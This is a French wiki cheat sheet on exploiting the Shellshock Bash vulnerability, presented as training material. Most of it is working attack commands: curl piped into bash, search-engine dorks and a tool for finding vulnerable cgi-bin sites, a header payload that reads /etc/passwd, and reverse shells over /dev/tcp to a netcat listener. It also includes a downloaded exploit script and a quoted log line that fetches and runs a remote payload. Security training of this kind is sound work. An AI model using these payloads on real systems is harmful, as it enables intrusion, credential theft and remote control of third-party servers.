Shellshock
🔒 Contenu de sécurité — usage encadré
Cette page décrit l'exploitation de la vulnérabilité Shellshock (CVE-2014-6271) à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).
Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.
| Fiche express | |
|---|---|
| CVE | CVE-2014-6271 (et suivantes) |
| Type | Execution de code a distance |
| Cause | Interpretation de definitions de fonctions dans les variables d'environnement par Bash |
| Vecteurs | CGI, DHCP, SSH force... |
Shellshock (CVE-2014-6271 et vulnerabilites connexes) permet d'executer du code arbitraire sur une machine via Bash : le shell interprete du code place apres une definition de fonction dans une variable d'environnement. Les scripts CGI (cgi-bin) constituent un vecteur d'attaque distant classique.
Présentation
Faille qui permet de prendre la main sur une machine utilisant une faille bash
https://access.redhat.com/security/cve/CVE-2014-6271 http://shellshocker.net
tester
- Tester si la machine locale est vulnérable
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# curl https://shellshocker.net/shellshock_test.sh | bash
- Tester une machine distante
http://shellshock.brandonpotter.com/ http://www.shellshocktest.com/
rechercher des sites vulnérables
- scripts
apt-get install libevent-dev pip install greenlet pip install gevent
git clone https://github.com/DanMcInerney/shellshock-hunter cd shellshock-hunter/ python shellshock-hunter -s "search_terms" -k your_bing_api_key -p number_of_pages_to_check
Il faut creer un compte sur bing pour pouvoir requeter le moteur de recherche en mode API:
https://datamarket.azure.com/dataset/bing/search
python shellshock-hunter.py -s "instreamset:(url):cgi-bin ext:sh" -k <votre_cle_api_bing> -p 10
- moteur de recherche
- google : inurl:cgi-bin ext:sh
- bing : instreamset:(url):cgi-bin ext:sh
usage
- requete directe : Afficher le contenu de /etc/passwd
# curl -H "Accept: () { a;} ; echo Content-Type: text/plain; echo; /bin/cat /etc/passwd" http://192.168.56.103/cgi-bin/test
- accès à la machine
placer en ecoute netcat sur le local
# nc -lvvp 4444
- lancer dans un autre shell le shellshock
# curl -v -H "User-Agent:() {:;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"192.168.0.local"/"4444" 0>&1 &" http://192.168.0.Cible/cgi-bin/test.sh
usage 2
# apt-get install libffi-dev # mkdir /root/shellshock && cd /root/shellshock # wget https://github.com/pyca/pyopenssl/archive/master.zip # unzip pyopenssl-master.zip && cd pyopenssl-master # python setup.py install # cd -
# wget http://www.homelab.it/wp-content/uploads/2014/09/gnu_b4sh_43_rci_v2.py_.txt
- exploit
# nc -lv -p 4444 # ./CVE-2014-6271.py -t http://domain.tld/cgi-bin/upload.sh -c "bash -i >& /dev/tcp/IP_LOCALE/4444 0>&1"
usage 3
usage 4
GET /index.php HTTP/1.0" 200 170 "-" "() { :;}; /bin/bash -c \x22curl -o /tmp/log hxxp://mafiagalati[.]hi2[.]ro/log;/usr/bin/wget hxxp://mafiagalati[.]hi2[.]ro/log -O /tmp/log;wget hxxp://mafiagalati[.]hi2[.]ro/log -O /dev/shm/log;chmod +x /dev/shm/log /tmp/log;/dev/shm/log;/tmp/log;rm -rf /dev/shm/log /tmp/log*\x22"
Fichier:Log.zip